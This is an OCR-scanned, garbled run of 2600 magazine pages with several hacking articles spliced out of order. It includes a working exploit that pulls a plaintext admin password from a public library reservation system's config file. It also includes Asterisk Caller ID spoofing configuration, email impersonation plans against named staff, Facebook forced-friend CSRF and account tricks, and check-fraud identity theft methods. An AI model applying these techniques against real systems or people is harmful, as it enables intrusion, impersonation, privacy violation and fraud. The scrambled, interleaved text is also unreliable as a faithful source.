CRAN file in the /mntjsys/etc directory. The box 
was mine. 

I set up a cross compiler and buiLt thttpd. The 
details are Long and boring, and documented 
elsewhere on the web. Just googLe "gcc mips 
cross-compiLer" and you shouLd be abLe to find 
your way. 

After building thttpd, I then put it in the 
/mnt/sys/bin directory and added a command to 
Launch it from /mntjsys/etc/init.sh . 

Another reboot Later and I had my web server 
sharing out fiLes. Mission compLete! 

Postscript 
After hacking this thing wide open I discov

ered some interesting news. Some hackers in 
Germany have been providing repLacement 
firmware for some of the other rebranded units 

Hac king 
by Andrew Smith 

This article is LargeLy about fact-finding and 
pLanning. The target of 2600.com is chosen to 
spark some interest. It's aLso written with the as
sumption that the 2600 staff has a sense of hu
mor. If you're reading this then you can probabLy 
conclude that they do. For the sake of this title 
"hacking" means "the pursuit of information. "  

Disclaimer: I thoroughLy encourage you t o  do 
everything that I detail in this article; it's fasci
nating and not iLLegaL in the sLightest. 

So we want to impress our haxOr buddiez on 
EFnet with our mad skills and what not . Why not 
choose 2600.com as our target? 

But where to begin? Let's start with aLL the in
formation we have: the domain. 

The Power of WHOIS 
WH OIS is a system in which contact informa

tion and some other detaiLs can be found from a 
domain name. The domain name we want to hack 
is 2600.com so we input it at our favorite onLine 
WH OIS engine (xwhois.com, uwhois.com to name 
two). The resuLt is: 
Domain Name : 2 6 0 0 . COM 
Regi s t ra r :  NETWORK SOLUTIONS , LLC .  

Wh oi s Server : whoi s . n e t worksol u t i o n s . com 

Re ferra l URL : h t tp : //www . n e t worksol u 

- t i on s . com 

Name Server : PHALSE . 2 6 0 0 . COM 
Name Server : NS . NAH6 . COM 

Name Server : NS2 . NAH6 . COM 

S t a t u s : REGISTRAR -L OCK 

Upda t e d  Da t e :  0 4 - feb-2 0 0 5  

Cre a t i on Da t e : 0 3 - feb- 1 9 9 4  
Expi ra t i on Da t e :  0 4 - feb- 2 0 0 B  

(though not the H NAS1). As  far as  I can teLL they 
haven't reLeased the detaiLs of the firmware-up
date fiLe as I've done here. 

While these firmware updates aren't directLy 
appLicabLe to the H NASl - not without ripping 
the update apart and changing the internaL sig
natures - they are a great source of precompiled 
MIPS binaries. The same hackers have aLso seen 
fit to share some individuaL pre-compiLed bina
ries on their site as weLl. 

Links 
http://www.hawkingtech.com - Hawking's main 
product website. 
http://www.ucLinux.org - uClinux Embedded 
Linux/MicrocontroLLer Project. 
http://www.ucLibc.org - the Lightweight C stan
dard Library used in the H NASl. 
http://zaphot.tmx24 .de/board/index.php - the 
German NAS hacking BB. 

2600 .com 
So from this we have some vaLuabLe informa

tion: 
• Waiting for the domain to expire and then 

snapping it up is out of the question (unLess we 
fancy sitting around for three years). 

• The domain was registered at www.network
soLutions.com. 

• The domain has three domain name servers: 
PHALS E.2600.COM, NS . NAH6.COM, NS2. NAH6.COM. 

• The domain is "registrar Locked. "  This means 
a commonLy used trick where peopLe submit a re
quest to transfer the domain to themseLves in the 
hope that it wiLL go unnoticed and be transferred 
to them automatically after two weeks is not pos
sibLe. 

From here we couLd go and Whois NAH6 .COM 
and I have. It isn't included in this article be
cause I kept going and went through about four 
domains until I decided to stop. It does resuLt in 
some interesting resuLts and further potentiaL 
angLes of attack; think of this as an exercise for 
you after you've read this article. If you Like. The 
probLem here is you couLd LiteraLLy go on forever, 
you may crack a domain six WH OISs down the Line 
that, afterwards, you reaLize has no reLationship 
with 2600.com. 

Next? 
Domain ResoLution 

Finding out the IP addresses behind the do
mains can resuLt in some vaLuabLe or just inter
esting information. So that's what we're doing 
next. Again another free onLine service 
(dnsstuff.com). The resuLts: 
www . 2 6 0 0 . com � 2 0 7 . 9 9 . 3 0 . 2 2 6  
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2 6 0 0 . com -+ 2 1 6 . 6 6 . 2 4 . 2  
ph a l s e . 2 6 0 0 . com -+ 2 1 6 . 6 6 . 2 4 . 2  
n s . n ah 6 . com -+ 82 . 9 4 . 2 5 2 . 2 5 2  
n s 2 . n ah 6 . com -+ 2 1 3 . 1 9 3 . 2 1 3 . 2 1 0  

(Remember, www.2600. com and 2600. com 
are not the same thing. The domain resolution 
shows this.) 

Probably one of the oddest collections of IPs 
related to one domain I've seen. What does it tell 
us? 

• 2600. com and www.2600. com are probably 
located on different servers. 

• All of the domain name servers are probably 
located on different servers. 

• The primary DNS server and 2600. com are 
probably located on the same server, so if we 
were to gain control of 2600. com (216. 66. 24. 2) 
we could control www. 2600. com simply because 
we could change the domain records. Whereas if 
2600. com did not also host its own domain server 
we would not. 

I say probably because it's possible that  two 
totally different IP addresses could point at the 
same server. It's just not probable . . .  at a ll. 

Because we can, let's do some reverse domain 
resolution (look up the domain based on the IP 
address) . This could open up some more interest
ing things about 2600. 
2 0 7 . 9 9 . 3 0 . 2 2 6  -+ -
2 1 6 . 6 6 . 2 4 . 2  -+ phalse . 2 6 0 0 . COM 
8 2 . 9 4 . 2 5 2 . 2 5 2  -+ ns . nah6 . com 
n s 2 . nah6 . com -+ invader . f actory . org 

• 2600.com's IP doesn't resolve back to 
2600.com. Not unexpected. 

• It's a little odd that the IP for 2600.com and 
phalse.2600.com would resolve to 
phalse.2600.com, seeing as it would make sense 
that the actual domain is more important. How
ever, this could be for DNS reasons. 

• The third name server's IP address resolves 
to a completely different domain! 

Some interesting results add to the confu
sion. Are the folks at 2600 incredibly disorga
nized or is this some cunning scheme to throw off 
potential attackers? From here we could go back 
down the WH OIS road and investigate nah6.com 
and factory.org, but we're not going to. This arti
cle is going to briefly consider various types of 
fact finding "attacks" but not delve into too much 
detail on them. You can do that! 

Their Domain Provider 
As found in the WH OIS stage 2600.com was 

registered by Network Solutions. What does this 
mean? It means the owner of 2600.com pur
chased it by using Network Solutions. What does 
this mean? Let's go to http://www.networksolu
tions.com and find out! I can't really put in a 
video of my poking around on that site because 
this is an article, so I'll detail what I found and 
what it could mean. 

• Network Solutions has an "Account Man
ager" and a " Log in" section to their site. This is 
common with domain providers and from this we 
can assume that the owner of 2600.com has an 
account. From this account it is very likely that 
domain information can be changed. Gaining ac
cess to the 2600.com Network Solutions account 
would mean being able to point 2600.com (and 
www.2600.com and anything.2600.com) wher
ever we pleased. This is a possible attack point. 

• There is an "I forgot my password" option 
where the domain for which you forgot the pass
word can be entered. This fantastic example of 
corporate security gives us the full name of the 
domain's primary contact and technical contact. 
Further perusal of this also appears to give us the 
User 1 0 .  This is now an option for a possible brute 
forcing attack. I won't give the User 10 out here 
as Network Solutions may have fixed this problem 
by the time you read this and I do actually want 
to have this article published. 

The SociaL Engineering Approach 
So now we've got some information. Not that 

much information, but we know our target. So 
what next? Personally I'd go out and buy a few 
2600 magazines. I'd also start listening to the 
weekly radio show (Off the Hook) that some of 
the 2600 staff are involved in. I do this anyway, 
and these are some of the possible attacks that 
could come from this. They're all fairly over the 
top, but you never know. 

• Just from listening to the show, various 
mannerisms and familiar sayings that each indi
vidual uses could be used in emails when pre
tending to be one. A familiar saying used by a 
person at the end of an email can confirm its va
lidity to the reader. 

• One of the show's presenters is recently 
back from traveling. This was announced on the 
show before he left. At such a time it would be 
easier to impersonate him by email, for example, 
with the explanation that he can't access his cur
rent account from abroad or something along 
those lines. 

• Off the Hook has been experimenting with 
Skype lately. More fact finding could be done by 
finding out their Skype account and talking to 
them, or impersonating one of them. 

• The inside cover of every 2600 magazine 
lists staff members names and what they do. 

I've skimmed over a few social engineering 
possibilities here. You really ought to read 
through Kevin Mitnick's Art of Deception for a 
better idea of this. 

The possibilities are fairly limitless, and even 
if you don't hack the Gibson it's all very interest
ing and certainly a learning experience. 
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Direct 1 rl lOar(1 S Yst e 
C., ID S a rl (1 aller 

by iSEPIC 
I wanted to share with the com m unity a solu

tion to some of the goals I had for outbound call
ing (after dialing into a box) using Asterisk, the 
open source PBX software, as well as the legiti
mate need for Caller ID spoofing. I was inspired 
by the cidspoof.agi script that you can find out 
there in the wild. But I was thinking to myself 
that this can be accomplished without the com
plexity of that script. There is  the assumption 
here that your outbound trunk (VoIP provider) 
will allow you to change the outgoing Caller ID 
and (yes, some actually do) the outgoing ANI. 

My Asterisk system includes: 
1. Two inbound numbers, one for me and one 

for my roommate. 
2. When my room mate dials out (VoIP) from 

his extension, the Caller ID is his number and the 
same applies for me. 

3. While out, when we call friends from our 
cell phones, our nu mber is blocked, because we 
want people to use our VoIP nu mbers to get a 
hold of us (incoming Asterisk calls are routed to 
our extension and cell phones per DID). 

4. Some people don't like "blocked numbers" 
(myself included). 

5. We have two VoIP providers (just for 
backup) and one PSTN line (a regu lar old tele
phone line). The PSTN line doesn't really do much 
- it j ust has metered service and 911 for about $ 5  
a month but  i t  has unlimited inbound for free. 

6. I 'm running Asterisk 1.21 and Asterisk at 
Home version 2.1. 

7. I have a silent auto-attendant on the Aster
isk's PSTN line, with the ability to press * *  or 
* * * . (One will let me call out and have the system 
spoof the proper Caller ID I want and the other 
will allow me to dial out using any outbound 
Caller ID I enter.) 

So I made some goals: 
1. Allow each of us to dial in using the PSTN 

number and dial out using one of the VoIP 
providers. 

2. When we do this, I want the Caller IDs to 
match. I don't want people he calls to see my  
number, nor do  I want them to  see the PSTN 
number (hence only dial out via VoIP providers 
who allow you to spoof your CID). 

3. I also want to be able to "m,M" ,""" 
so I can play tricks when I 'm 
know, to your friends, not to 

4 .  I really don't like the cidspuuT.awrrsm 
there. I know this can be done a 

So, for my AutoAttendant I have 
and * * *  and they point to a custom like custom
disa,s,l and I also placed these in my from-inter
nal-custom so I could test from one of my 
internal extensions. 

For those who don't know, VMAuthenticate 
will ask for a mailbox and password. This is how I 
identify myself or my room mate on the DISA so I 
can make his or my Caller ID match who we are. 
Also, this allows the password to remain hidden 
(both here in this text and in the logs - I think! )  

Place the following in  your extensions_cus
tom .conf file. As of today, VoIP providers that I 
know of that allow you to change your outbound 
Caller ID include, in no particular order: nufone, 
teliax, iax .cc, voicepulse. 

* [ f rom- internal - c u s tom ] 
exten => 
exten => 
exten => 
exten => 
exten => 
exten => 

* * , l , Answer 
* * , n , Goto ( clls tom- d i s a , s , l )  
* * , n , Hangup 
* * * , l , Answer 
* * * , n , Goto ( clls tom-spoof , s , l )  
* * * , n , Hangup 

[ cu s tom-d i s a ] 
ext en => s , I , An swer 
exten => s , n , VMAuthent i c ate ( )  ; Authen 
- t i c ate u s i n g  the voicema i l  system,  
person enters their exten s ion and pw 
exten => s , n , Goto I f ( $ [ " $ { AUTH MAI LBOX } "  
- =  ·· 2 0 0 0 " ] ? s I 1 0 0 0 ) ; i f  per';-on who 
owns mai lbox 2 0 0 0  was authentic ated 
- above , goto 1 0 0 0  
exten = >  s ,  n , Goto I f  ( $  [ . .  $ { AUTH MAI LBOX } ·· 
-= " 2 0 0 l " ] ? s I 2 0 0 0 ) 

-

exten => s , n , Conge s t ion 
ext en => s ,  1 0 0 0  , S etCal l e r I D ( · · Person l " 
-< 0 0 0 1 1 1 2 2 2 2 > l a )  ; change c a l l e r  ID & 
AN I to the phone number for person 1 
exten => s , 1 0 0 1 , goto ( s , 3 0 0 0 ) 
exten => s , 2 0 0 0 , SetC a l l er I D ( " Person2 " 
-< 0 0 0 2 2 2 l l l l > l a )  ; c hange c a l ler ID & 
AN I to the phone number for person 2 
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exten => s , 2 0 0 1 , goto ( s , 3 0 0 0 ) 

exten => s , 3 0 0 0 , P l aybac k ( out s ide-trans fer ) 

exten => s , 3 0 0 1 , D I S A ( no-pas sword l f rom- interna l )  

[ cu stom-spoo f ] 

exten => s , l , An swer 

exten => s , n , VMAuthenticate ( )  

ext en => s , n , DigitT imeout ( 5 )  

ext en => s , n , ResponseTimeout ( 2 5 )  

Asks for the VM box number ,  and PW 

ext en => s , n , Read ( Secret , p l s - ent- Durn-tran s f e r , l O )  input 1 0  touch tones , 

p l ay s  t h i s  sound file 

exten => s , n , NoOp ( $ { Secret } ) 

exten => s , n , SetC a l l e r I D ( " Spoof " < $ { Secret } > l a ) 

C I D  and AN I ( I a )  

ext en => s , n , P l ayback ( p l s - entr- num-uwi s h 2 - c a l l )  

ext e n  = >  s , n , D I SA ( no-pas sword l f rom- intern a l ) 

you with to d i a l  from 

exten => s , n , Hangup 

this sets your outbound 

D I SA routine , and context 

exten => s , 1 0 2 , P l aybac k ( goodbye ) f a i lover if your authenticate f a i l s  i t  

goes to + 1 0 1  

exten = >  s , 1 0 3 , Hangup 

Greetz to BrothaReWT and biOmetric. 

What is a hacker, anyway? 
ALL a computer hacker reaLLy is is someone who 

hacks away at a computer keyboard untiL it does 
what they want it to do. That's aLL! Neat and sim
pLe. A cracker, on the other hand, is someone who 
hacks past the bounds of propriety and "cracks" 
into system security. The press has usurped our 
rightfuL titLe and handed it off to these 14-year
oLd twerps that crack into computer systems. 
Usurped - to unjustly steaL what rightfully beLongs 
to someone by caveat or fiat. As in, "The young 
prince, with the aid of the Prime Minister and the 
army, usurped the throne from his father." 

" Hacking away at the keyboard" means you're 
expLoring. You're not taking the manuaL for 
granted but testing out what the computer can do, 
to see where the network can take you. To seek out 
new Life and new cyber civiLizations. But while 
there are some Limits to where the network goes, 
the imagination of the hacker can take him (or 
her) far beyond those Limits mentaLLy. That's what 
makes it fun, and interesting. 

I was once asked at a 2600 meeting what type 
of person becomes a cracker or writes computer 
viruses? I repLied, "The pLayground buLLy has 
moved indoors and Learned how to type." That 
quote turned out to become the headLine in the 

Forbes article on the subject of criminaL computer 
hacking. 

Think about it. It's that type of mentaLity that 
does that sort of thing. They want to be in controL 
of something. I'm a happy-go-Lucky kind of guy 
who is scared to have that kind of controL over 
someone eLse. I just don't want that sort of re
sponsibility. Just Let me go aLong and pLay with 
computers, ham radios, and websites. Need to find 
me? Give me a radio and a GPS receiver, and LikeLy 
as not I'LL Let you track me by ham radio over the 
Internet. Consider too, I'm usuaLLy seen wearing 
shirts or jackets embroidered with my ham radio 
caLL sign. How many illegaL activities do you sus
pect I'LL pursue wearing a federaLLy issued ID code? 

Look at what ham radio aLLows me to do. I can 
crawL around the packet radio data network to my 
heart's content, do unspeakabLe things in the way 
of routing and finding hoLes in the network, and 
when I report them to the network operators or 
pubLish how to go about the things I do, peopLe 
thank me for it! I have found a home in ham radio. 
I worked in Homestead foLLowing Hurricane An
drew. I had so many assignments with Last year's 
flurry of hurricanes, I've Lost track of them aLl. Re
member the wiLdfires across Florida a few years 
back? Many areas couLdn't be reached from the 
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regular radio towers. Ham radio was called upon 
again and I worked Hog Valley Firebase, as well as 
the Fire Control Center. 

The ones with the time to play those "nasty" 
types of games on computer networks are usually 
kids, though headlines about how much money is 
controlled by computer has led "professionals" to 
get into the games. But for kids, computers pro
vide the kind of "intellectual challenge" that my 
generation of hackers found as phone phreaks, 
when the only network we could play with was the 
phone system. But that came into our homes with 
a telephone instrument that led to a great wide 
world out there. And they wouldn't tell us how to 
get around behind the scenes, so we had to find 
out for ourselves. 

But people can't get over their prej udices and 
so they equate me with the "black hat" hackers 
that send viruses out through the emails and they 
don't know how far they can trust me. Actually, 
even if I get screwed over, I'm not going to do 
much. I worked for a "major Manhattan bank" for 
three years and was fired after an article came out 
in Technology Illustrated about "that hacker. " 

You have to realize that I was hired to be a 
computer programmer for the communications de
partment of this bank. The regular programming 
department didn't have the time to deal with the 
silly little problems of breaking out the monthly 
telephone and telex statements that came in on 
mag tape each month. I wrote programs that split 
out the calls by area code and country code so we 
could see where the phone calls went each month 
and see if it wouldn't be cheaper to buy leased cir
cuits to various parts of the world to lower com
munications costs. 

Of course, there was also the understanding 
that if the telex circuits went out again (as they 
had a few month before I was hired), that I would 
be able to help them get banking messages out via 
"other means. "  They had lost millions on the telex 
outage. 

They bought me a TWX teletype line and a TWX 
teletype machine to go with it. It meant that if the 
telex circuits went out, we could send messages 
via the TWX circuits as well. Since TWX machines 
can be reached via telephone circuits (something 
AT&T never admitted), the bank would be able to 
get important messages out if the telex switch 
failed b ut the phone network was still up. (See my 
telex stories at http://www.CheshireCatalyst 
... . Comjtelex.html for more details.) 

Well, after I left. someone sat down and actu
ally looked at my programs (something the system 
administrators could have done any time during 
the three years I was there). They were amazed at 
the clarity of my well-documented code and how 
well it did its job (I was told later). My stock as a 
programmer went up considerably within the com
pany. So a couple of months later there was a ma-

jor system crash. They had no clue what caused it. 
but in their paranoia they figured I must have left 
a "logic bomb" in the machine. I didn't, of course, 
but I was grateful they thought I had the program
ming skills to pull it off. 

I'm really not that good a programmer and this 
would have needed much more knowledge of sys
tem internals than I had. All I can really do is "pid
dle" in BASIC - the Beginners All-purpose Symbolic 
Instruction Code. And the bank had PDP-ll com
puters, so I didn't even have to learn a new "fla
vor" of BASIC. BASIC began life at Dartmouth 
College in Hanover, Vermont. It found its way onto 
various timesharing computers and in the 1970s a 
young punk kid named Gates created a version for 
the Altair 8800 computer made by the MITS com
pany of Albuquerque, New Mexico. He got hired on 
as the chief programmer and proceeded to take 
Basic Plus under RSTSje (Resource Sharing Time 
Sharing Extended) from PDP-ll computers and re
work it into "Altair Basic. "  I'd been programming 
on PDP-lls running RSTSje and recognized it im
mediately. Needless to say, this eventually became 
Microsoft Basic. I still keep a copy of Qbasic.exe 
around in my jtemp directory for emergency file 
hacking. I find it easier to write a quick program 
to find and replace things in large files. 

Look, I know guys who are much better at pro
gramming than I am. Of course, I've got slightly 
better "people skills" than they've got so it all 
works out. The thing is, my reputation far and 
away exceeds my actual skill as a hacker. 

It's the thought processes more than anything 
else that set a hacker apart from most people. It's 
the ability to look critically at a problem. When 
everyone says "it can 't work like that," the hacker 
knows the logic of the situation says it can. 

I grew up in Rochester, New York, the home of 
Frontier Communications, direct descendant of the 
Rochester Telephone Company that I grew up with. 
RochTel was the largest independent telephone 
company in the country at the time (independent 
of The Bell System - AT&T and its wholly owned 
subsidiaries). When the TWX teletype network was 
set up, it used spare capacity of the telephone net
work but AT&T said it was "completely separate 
and distinct from the telephone network. "  That 
was a load of crap. 

Using SACs (Special Area Codes) that ended in 
zero (510, 610, 710, 810, and 910), the TWX (Tele
typeWriter eXchange) Network was set up with 
Model-33 teletypes containing Bell 103 modems 
and a telephone dial. They worked great as dial-up 
terminals for remote timesharing systems (which 
is what I started looking for when I found TWX ma
chines), but the TWX charges were by the minute 
and quite expensive for their time. It was a busi
ness service, after all. 

But I looked into it further. Further than The 
Phone Company wanted me to look. It seemed ab-
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surd to me that a large, independent telco would 
build a whole new telephone exchange just for a 
Ma Bell playtoy. It didn't take long for me to find 
out that the 510-523 TWX exchange translated to 
the 716-235 exchange and used the same last four 
digits as the TWX number. I could use a dial-up 
computer terminal and send TWX messages to any 
TWX machine in town. I started by sending myself 
a message via the local truck stop. 

After getting a nationwide TWX directory from 
the phone company and doing a little experiment
ing, I had a list of more than 40 cities where I 
could di rectly dial the TWX machines of companies. 
If I wanted a catalog, I'd zap the company a quick 
message and it would show up in the mail pretty 
rapidly. I must have been from a large fi rm myself 
if I had a TWX line to send them a message with. 
They didn't know I was just a kid with a dial-up ter
minal. 

One of the places on my list was New York City. 
When I had a press release to get out, I simply sent 
it to the TWX machine of the newspapers, AP, and 
UP!. This thing had uses! 

No programming skill - just a kid with an atti
tude and a crush on technology. And, of course, a 
critical look at the "logic" of explanations people 
were giving me. I compared that to what I found 

the technology to be showing me - and, from that, 
concluded what was actually possible. 

Then there's how a hacker looks at RuLes. For 
exampLe, I haven't worn white underwear in years. 
What's that got to do with anything? The RuLe my 
mother taught me was "Never mix your whites with 
your coLoreds. " She wasn't being racist, she just 
didn't want the coLors to run in the Laundry and 
stain my white clothes. I simpLy don't want to do a 
second Load of laundry, so if I have colored undies, 
they go in the one Load of wash with everything 
eLse. As you can see, hackers can Look at probLems 
differently from most peopLe. 

The thing is, like most hackers, I'm bright. I 
can look at a situation and "grok" what it's about. 
"Grok" is a Martian word from an oLd science fic
tion noveL that means "to thoroughly understand 
something. "  I tend to Laugh at jokes quicker than 
other peopLe and even find humor in situations 
others can't find humor in because I'm usually 
Looking at situations from a different " Logic set." 
For the most part, peopLe think " B right Hacker -
Big TroubLe. "  

I'll admit i t .  If I wanted to  cause troubLe, I 
couLd probabLy cause it big time. But I'm just this 
guy, you know? 

�--��----------------------� 

This article is for informational purposes only. 
In no way should this information be used to de
face any Library that uses this system. 

PCReservation is a system used by pubLic  li
braries to give its customers the abi Lity to make 
reservations online to use a public computer at 
the library. To find out just how many libraries 
use this system, search for "Web Module for 
PCReservation" on any major search engine and 
you'll see. Unfortunately this system is  also very 
easy to exploit. 

Fi rst we have our target's main reservation 
page where people can submit thei r reservation 
to use a computer at the library. This might be 
www.myfakelibrary.org/pcres/reserve.pl. From 
the url we can see that they store their PC Reser
vation files in the www.myfakelibrary.org/pcres/ 
di rectory (obviously not all sites will store thei r 
files in the same location - just look at the reser
vation page's url to find the di rectory). This di
rectory contai ns: 
cancel . jpg 

configure . pl 

confirm . jpg 

Reserva tion 
h ome . jpg 

l oca t i on s . con f 

l ookup . jpg 

pcr . jpg 

query . jpg 

reserve . conf 

reserve . pl 

Now obviously the .jpg files are worthless, 
but let's see about the other files. Navigating to 
http://myfakelibrary.org/pcres/ configure. pl 
brings you to a page asking for a password and 
which options you would like to edit, General Op
tions or B ranch Library List. We'll come back to 
these two options later. The question is where do 
we get that password? We simply navigate to 
http://myfakelibrary.org/pcres/reserve.conf 
which should look something like this: 
p a s s word=ThEpASs WorD 

branch_ I b l =Branch L ibrary 

h ome_pa ge=h t tp : //www . myfakel ibrary . org 

l ibrary_n ame=My Fake Publ i c  L i brary 

i n s t r u c t i on s =Th e s e  are the i n s t r u c t i on s  

for peop l e  wa n t i n g  t o  res erve a PC . 

cgi_dir=/ 

ima ges_dir=/ima ges /pcres 

msg_ t imeo u t =2 . 5 
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We see that the password is "Th EpASsWorD" .  
Now we simpLy go back to  http://myfakeLibrary 
.. .  o rg/pcres/configure.pL, enter the password, 
and choose which option we want. Choosi ng  Gen
eraL  Options  allows you to change everyth ing 
Li sted i n  the  reserve .conf  fi le - the  password, t he  
Library name, the home  page Li nk, the instruc
tions  di spLayed on the mai n  reservation  page, the  
branch LabeL, t he  cgi di rectory, the  i m ages di rec
tory, and the  n umber of seconds before message 
tim eout. Choosi ng  the B ranch Library List option  
bri ngs you  to a Listi ng of a L L  Library branches and  
thei r  IP addresses and  port n umbers. Th i s  Listi ng 
can aLso be found i n  the  Locati ons .conf  fi Le. At 
the  bottom of the  page you have the  option  to ei
ther  add a branch o r  edit/deLete a cu rrent 
branch . These branches are what the user want
i ng to reserve a Library PC wi LL choose from .  

Hacking the 
by Savage Monkey 

For those not famiLiar with it, the Facebook 
(facebook.com) is a sociaL networki ng site fo r coL
Lege students and aLumni havi ng subsites fo r over 
800 colleges and universities, chiefly in the U.S.  
The site is  said to be one of the top ten most-vis
ited sites on the web and it is phenomenally popu
Lar among American college students. 

In the past, the site has had a number of secu
rity flaws attributabLe to si mpLe software bugs, in
sufficient input vaLidation, etc. I will not be 
discussing these kinds of security ho Les here. In
stead, I wilL focus on more subtle tricks that rely 
on using intended features to do more than the 
site creators intended. 

As the site is now designed, members register 
by providing thei r names, a coLLege-affiliated 
email address, and their affiLiation with the co L
Lege (student, facuLty, aLumnus, etc.). The email 
address must be at the domain of one of the 
schooLs fo r which a subsite exi sts . When a user 
registers, the facebook then emails them a confi r
mation Link at the provided emai L address, Like any 
other membership-based website. 

Once the user is registered, they can create a 
profile, connect to friends at thei r own schooL or  
others (friendship requests require the friend's 
confirmation), send messages to other members, 
"poke" peopLe (who wiLL receive a "you have been 
poked by Member X" message), join or start com
mon-interest groups at their own schooL, pubLicize 
and RSVP to campus parties, or upLoad photos. 

By default, member profiles can be viewed by 
other members at the same school, the member's 
confirmed friends, and anyone to whom the mem-

As you can see, taki ng advantage of this sys
tem is very easy to do . Librari es usi ng  this system 
do not have many options  when it com es to secu
rity mai n Ly because the fi le names Listed above 
are the same for aLL Librari es .  Creati ng an i n dex 
page in the  /pcres/ di rectory (som eth ing which 
s hou Ld be done  anyway) does prevent the  curious  
from gai ni ng access, but  it doesn 't keep those 
who aLready know the  fi le names from getti ng  in  
- those who cou Ld have easi Ly gotten them from 
another  Library with  an open di rectory or those 
who work for another  library. 

The pu rpose of this article is not so peopLe 
wi LL deface pages that use this system but so that 
th is expLoit can be brought to peopLe 's  attenti on  
and  hopefu Lly be  fixed. 

Greets to xspel, [TO, and everyone who 
helped me put my findings into article form. 

Facebook 
ber has sent a facebook message or a poke. This is 
the Least restrictive option,  aLthough more restric
tive options  (such as friends on Ly) are possibLe. 

So Let's say you want to see someone's profile, 
but you ' re not in any of these categories and they 
won't add you as a friend for whatever reason .  One 
option is  to send them a message i n  the hopes 
that they repLy. If they do, you can see their pro
file, except fo r thei r contact information. Simi
Larly, you could try poking them in the hopes that 
they poke you back. 

If you don't think they'd repLy to your reguLar 
account, you can aLways create another one. It's 
easier than you think. Of cou rse, if your colLege 
lets you set up a mail server on a subdomain of 
your choice, you' re golden. Otherwise, Look for MX 
records pointing to the same mai L server as your 
regular mail server. For instance, if your email ad
dress is joe@coLLege. edu, you can probabLy create 
another account using the email address 
joe@smtp.colLege.edu, and maybe another at 
joe@mai L.coLLege.edu, etc. 

Of course, in this case the person may still fig
ure out who you are. A sneakier trick is to use a 
maiLing List. Almost every college or university has 
one or severaL MaiLman, Majordomo, etc. mailing 
list servers set up. Many of these have o Ld unmod
erated mailing lists that do nothing but receive 
and archive spam. If you find one of these, have a 
facebook account confi rmation sent to it. It does
n't even have to be at your colLege, and by doing 
this you can gain access to profiLes at whatever 
schooL the Listserv is Located at. 

A more nefarious method is to trick a facebook 
user into clicking on something that will, by open-
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g a hidden or conspicuous frame on the page, 
cause them to add you to thei r friends list. There is 
such a site at http://infect.la/facebook.php which 
opens several frames with URLs like www.face
book. com/ addfri en d. ph p?i d=x&co nfi rm ed =1 
where x is a random number. If x is your user ID -
easily obtained by looking at the URL for your pro
file - and you can convince someone to go to this 
page, they will have added you as thei r  friend. 
They may delete you from thei r friends list, but if 
you just want to quickly examine their profile, this 

would be sufficient. You could also cause them to 
add you as thei r significant other, poke you, or 
send you an arbitrary message by playing with 
URLs in similar ways. I won't give precise URLs, but 
they should be obvious upon viewing the source of 
various facebook pages. If you trick someone into 
sending you a message in this way, large portions 
of thei r profile will be permanently readable to 
you. You might use a site like tinyurl to disguise 
the URL. 

Happy facebooking! 

The Price 01 Convenience: 

by Squealing Sheep 
Our government has let us down again. They 

had an opportunity to pass legislation allowing 
citizens to protect thei r identities by allowing citi
zen-driven security freezes on thei r credit reports. 
A security freeze would prevent alterations to a 
credit report without the person's express con
sent. Unfortunately, big bucks won over our 
elected representatives, citing the inability to is
sue instant credit or post negative feedback about 
consumers, and the citizens are left to fend for 
themselves when it comes to personal identifica
tion safety. 

The problem is this is setting up every citizen 
in our country to become a victim of identity 
theft, a crime in which personal information such 
as a name, address, or social security number is 
misused to obtain goods and services. 

What our leaders fail to see is that - whether 
the security freeze legislation went through or not 
- our information is being compromised every day. 
There is not one lawmaker truly lobbying for the 
protection of the citizens, the very same citizens 
electing the lawmakers to office. 

Open up your local phone book to the residen
tial listings. Thousands of names, addresses, and 
phone numbers are at your disposal. Unfortu
nately, it costs vigilant citizens money to keep 
thei r identifying information out of the phone 
book. Citizens should not have to pay to protect 
themselves. Let the citizens wanting to put thei r 
information on a billboard pay for that  privilege. 
Look at the business listings. Businesses pay for 
the advertisements. Why shouldn't average citi
zens? Because the directory publisher won't be 
able to quantify the number of residents in the di
rectory's publication area and if the company can't 
quantify the audience, it's pretty difficult to con
vince a business to buy advertising space. 

Using a phone book, a savvy criminal can take 

just a name and address, slip it onto a check man
ufactured through any financial software program 
such as Quicken or QuickBooks available at a local 
office supply store for a nominal fee, and in a few 
seconds you have an identity theft victim.  Sure, 
the criminal may not have an account number be
longing to the name, but businesses and banks 
don't always verify the information on a personal 
check. 

Depending on the business, the routing and 
account number don't even have to be legitimate 
because the business doesn't subscribe to a check 
service to verify check information. Those busi
nesses run the account number through thei r own 
database to make sure the account hasn't passed 
bad checks at thei r  locations. If you keep your 
eyes open while making your purchases, you'll be 
able to figure out which businesses do this be
cause they scan the check through their register, 
not a separate machine located nearby. Some of 
these same businesses have policies to not ask for 
identification, for fear of inconveniencing thei r 
customers and losing business. Think grocery 
store chains and big box stores. 

If a business chooses to verify account infor
mation, all a criminal needs to do is track down a 
legitimate nine-digit routing number, which signi
fies which bank the check will be processed 
through. It is possible to verify whether a routing 
number is legitimate at http://yourfavorite.com/ 
... checkwriter/verify.htm. If the criminal doesn't 
have a routing number handy, it doesn't take long 
to figure out a nine-digit number through the ver
ification site. And if a criminal doesn't have time 
to manually figure out a routing number, lists of 
numbers are posted online. It just takes a few sec
onds to run "bank routing numbers" through any 
available Internet search engine. Add to that a few 
numbers (usually ten, but can range from six to 
eighteen) for an account number, which may or 
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may not be connected to a real person, and the 
criminal is in business. 

Using pieces of information like this allows a 
criminal to com mit a crime in a virtually untrace
able manner, leaving the business, the victims on 
the check, or the bank absorbing the loss. Often
times it's the business or the bank because once 
the identity theft victim files a police report, the 
victim is reimbursed for any loss. And when a bank 
or business absorbs a loss, doesn't it usually 
trickLe to consumers? 

But phone books are just the beginning of the 
number of ways our information is being compro
mised. 

Laws already in effect are allowing the use of 
the world wide web to obtain additional personal 
information. An example of this is com munity no
tification about sex offenders. Most laws are writ
ten allowing law enforcement agencies to post the 
information on the Internet as a way to bypass 
regular notification through physical means. In
formation about sex offenders can entail names, 
ages, even addresses. In other words, more pieces 
of information to manipulate. 

Have you perused the website belonging to 
your local city, county, or state government lately? 
Check it out and you may find your property 
records or tax information available online. In our 
governments' quest to put everything at the citi
zen's fingertips, they're also allowing gaping 

by Modman 
modman@optonline.net 

This article will highlight some of the holes in 
the two most typical physical security measures 
(security cameras and doors secured with key 
cards). Many organizations will add these types 
of technology enhancements without amending 
their security protocols or worse yet using these 
tools as an excuse to cut back in personnel and 
doing away with com monsense procedures. I 
hope those responsible for security will be re
